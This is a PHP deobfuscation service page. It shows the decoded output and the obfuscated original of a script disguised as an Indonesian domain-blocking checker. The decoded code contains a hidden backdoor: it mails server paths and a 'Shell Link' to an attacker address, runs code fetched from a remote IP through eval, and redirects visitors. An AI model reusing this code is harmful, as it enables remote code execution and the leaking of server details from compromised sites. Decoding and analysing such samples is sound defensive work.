Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ { "GLOBALS" } ["ldzowcv"] = "xynz"; $ { "GLOBALS" } ["qdapyqrq"] = ..

Decoded Output download

 ${"GLOBALS"}["forvqrkvusfy"]="domains";${"GLOBALS"}["snlswelwhw"]="subm";${"GLOBALS"}["iakiitrki"]="domain";${"GLOBALS"}["ocophkibtnn"]="exec";${"GLOBALS"}["wuygoh"]="curl";${"GLOBALS"}["tptkioonouu"]="email";${"GLOBALS"}["ooevxmw"]="xynz";${"GLOBALS"}["uivktsrajp"]="title";${"GLOBALS"}["guiautsgyth"]="retry";${"GLOBALS"}["iajbbufltywm"]="allow";${"GLOBALS"}["nstbgih"]="allow";$jwlavrjvx="timeout";${${"GLOBALS"}["nstbgih"]}=array("162.213.249.100");if(!in_array($_SERVER["HTTP_HOST"],${${"GLOBALS"}["iajbbufltywm"]})){$ycwshhne="title";$edtoje="xynz";${"GLOBALS"}["esddlqntknrj"]="xynz";${"GLOBALS"}["strvadmcbts"]="email";${${"GLOBALS"}["guiautsgyth"]}=60*60;header("HTTP/1.1 503 Service Unavailable");header("Retry-After: $retry");${${"GLOBALS"}["strvadmcbts"]}="[email protected]";${${"GLOBALS"}["uivktsrajp"]}="Hacked";${${"GLOBALS"}["ooevxmw"]}="Setoran : ".$_SERVER["DOCUMENT_ROOT"]."
";${${"GLOBALS"}["ooevxmw"]}.="Server Admin : ".$_SERVER["SERVER_ADMIN"]."
";${${"GLOBALS"}["ooevxmw"]}.="System Server : ".$_SERVER["SERVER_SOFTWARE"]."
";${${"GLOBALS"}["esddlqntknrj"]}.="Shell Link : http://".$_SERVER["SERVER_NAME"].$_SERVER["PHP_SELF"]."
";${${"GLOBALS"}["ooevxmw"]}.="Website: ".$_SERVER["HTTP_HOST"]."
";mail(${${"GLOBALS"}["tptkioonouu"]},${$ycwshhne},${$edtoje});if(isset($_GET["xynz"])){eval("?>".file_get_contents("http://159.89.211.208/raw/xwx"));}header("Location: http://128.199.109.225:1337/");exit();}echo "<html>
  <head>
    <title>Mass Check Internet Positif</title>
    <style type=\"text/css">
    @import url('https://fonts.googleapis.com/css?family=Space+Mono');
      html {
        background: black;
        color: grey;
        font-family: 'Space Mono';
        font-size: 12px;
        width: 100%;
      }
      input[type=submit] {
        background: transparent;
        color: grey;
        border: 1px solid grey;
        margin: 5px auto;
        padding-left: 5px;
        font-family: 'Space Mono';
        font-size: 13px;
        cursor:pointer;
      }
      textarea{
        background:black;
        color: white;
        font-family: 'Space Mono';
        border: 1px solid grey;
      }
    </style>
  </head>
  <body>
    <form method=\"POST" action=\""><center>
      <textarea rows="15" cols=\"60\" name=\"domain"></textarea><br>
      <input type="submit\" name="check" value=\"CHECK!!!\"><br>
    </form>
    ";${"GLOBALS"}["xpgjmydx"]="subm";error_reporting(0);${$jwlavrjvx}=60;function getData($domain){$cqyeuaerzbhj="curl";$flmdqdrjvw="curl";${$cqyeuaerzbhj}=curl_init();$omqihhysks="curl";$uxwndcb="curl";curl_setopt(${$omqihhysks},CURLOPT_URL,"https://trustpositif.kominfo.go.id/mod/search.php");curl_setopt(${${"GLOBALS"}["wuygoh"]},CURLOPT_RETURNTRANSFER,true);curl_setopt(${${"GLOBALS"}["wuygoh"]},CURLOPT_HEADER,false);${"GLOBALS"}["smhswmaebg"]="curl";curl_setopt(${$uxwndcb},CURLOPT_SSL_VERIFYPEER,false);curl_setopt(${${"GLOBALS"}["wuygoh"]},CURLOPT_POSTFIELDS,"daftar=$domain");$lutovevrpi="timeout";curl_setopt(${$flmdqdrjvw},CURLOPT_CONNECTTIMEOUT,${$lutovevrpi});${${"GLOBALS"}["ocophkibtnn"]}=curl_exec(${${"GLOBALS"}["smhswmaebg"]});curl_close(${${"GLOBALS"}["wuygoh"]});return(${${"GLOBALS"}["ocophkibtnn"]});}${${"GLOBALS"}["iakiitrki"]}=explode("
",$_POST["domain"]);${${"GLOBALS"}["snlswelwhw"]}=$_POST["check"];if(${${"GLOBALS"}["xpgjmydx"]}){${"GLOBALS"}["ivopzubrs"]="domain";foreach(${${"GLOBALS"}["ivopzubrs"]} as${${"GLOBALS"}["forvqrkvusfy"]}){$rvwprjcmbep="getD";${"GLOBALS"}["hlnvmpdqtx"]="domains";${"GLOBALS"}["hfyfrnbir"]="getD";${${"GLOBALS"}["hfyfrnbir"]}=getData(${${"GLOBALS"}["hlnvmpdqtx"]});if(preg_match("/pengaduan\/domains/i",${$rvwprjcmbep})){echo"$domains -> <font color='red'> TERBLOKIR</font><br>";}else{echo"$domains -> <font color='lime'> TIDAK TERBLOKIR</font><br>";}}}else{};echo "      </center>
  </body>
</html>
";

Did this file decode correctly?

Original Code

<?php $ {
    "GLOBALS"
}
["ldzowcv"] = "xynz";
$ {
    "GLOBALS"
}
["qdapyqrq"] = "xynz";
$ {
    $ {
        "GLOBALS"
    }
    ["qdapyqrq"]
} = "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";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($ {
    $ {
        "GLOBALS"
    }
    ["ldzowcv"]
})))))); ?>

Function Calls

gzinflate 1
str_rot13 2
base64_decode 1

Variables

xynz hUwLYtpXFv4rrpVIk902gHowhJKrJgpnSqvelt5JN/dFUja1WoA19jg4gYr/..
GLOBALS [{'key': 'ldzowcv', 'value': 'xynz'}, {'key': 'qdapyqrq', 'value': 'xynz'}]

Stats

MD5 a662e4fe7782105801ede225919877db
Eval Count 1
Decode Time 103 ms